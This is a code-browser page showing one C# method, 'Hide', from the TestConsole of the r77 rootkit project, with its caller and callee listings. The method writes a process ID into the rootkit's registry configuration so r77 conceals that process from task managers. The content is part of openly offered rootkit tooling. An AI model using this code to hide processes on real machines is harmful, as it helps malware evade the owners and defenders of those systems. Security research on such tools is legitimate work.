MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / Hide

Method Hide

TestConsole/Helper/ProcessList.cs:239–278  ·  view source on GitHub ↗

Hides a process ID by entering the PID into the r77 configuration system. The process to hide by ID. , if this process was successfully marked as hidden; otherwise, .

(ProcessModel process)

Source from the content-addressed store, hash-verified

237 /// otherwise, <see langword="false" />.
238 /// </returns>
239 public static async Task<bool> Hide(ProcessModel process)
240 {
241 return await Task.Run(() =>
242 {
243 if (!ConfigSystem.EnsureConfigSystem())
244 {
245 return false;
246 }
247
248 using RegistryKey? configKey = ConfigSystem.GetConfigSystemKey();
249 using RegistryKey? key = configKey?.CreateSubKey("pid");
250
251 if (key == null)
252 {
253 return false;
254 }
255
256 key.SetInt32Value($"TestConsole_HiddenPID_{process.Id}", process.Id);
257
258 Log.Information(
259 new LogFileItem(process.Name),
260 new LogTextItem($"(PID {process.Id}) is marked as hidden.")
261 );
262
263 if (process.Name.StartsWith(R77Const.HidePrefix))
264 {
265 Log.Warning(
266 new LogFileItem(process.Name),
267 new LogTextItem($"(PID {process.Id}) is already hidden by prefix. Hiding the process by ID is unnecessary.")
268 );
269 }
270
271 if (GetInjectedCount() == 0)
272 {
273 Log.Warning(new LogTextItem("r77 needs to be installed, or at least injected in a task manager for process hiding to have effect."));
274 }
275
276 return true;
277 });
278 }
279 /// <summary>
280 /// Removes a process ID from the r77 configuration system to make the process visible again.
281 /// </summary>

Callers 1

HideCommand_ExecuteMethod · 0.80

Calls 4

EnsureConfigSystemMethod · 0.80
GetConfigSystemKeyMethod · 0.80
InformationMethod · 0.80
WarningMethod · 0.80

Tested by

no test coverage detected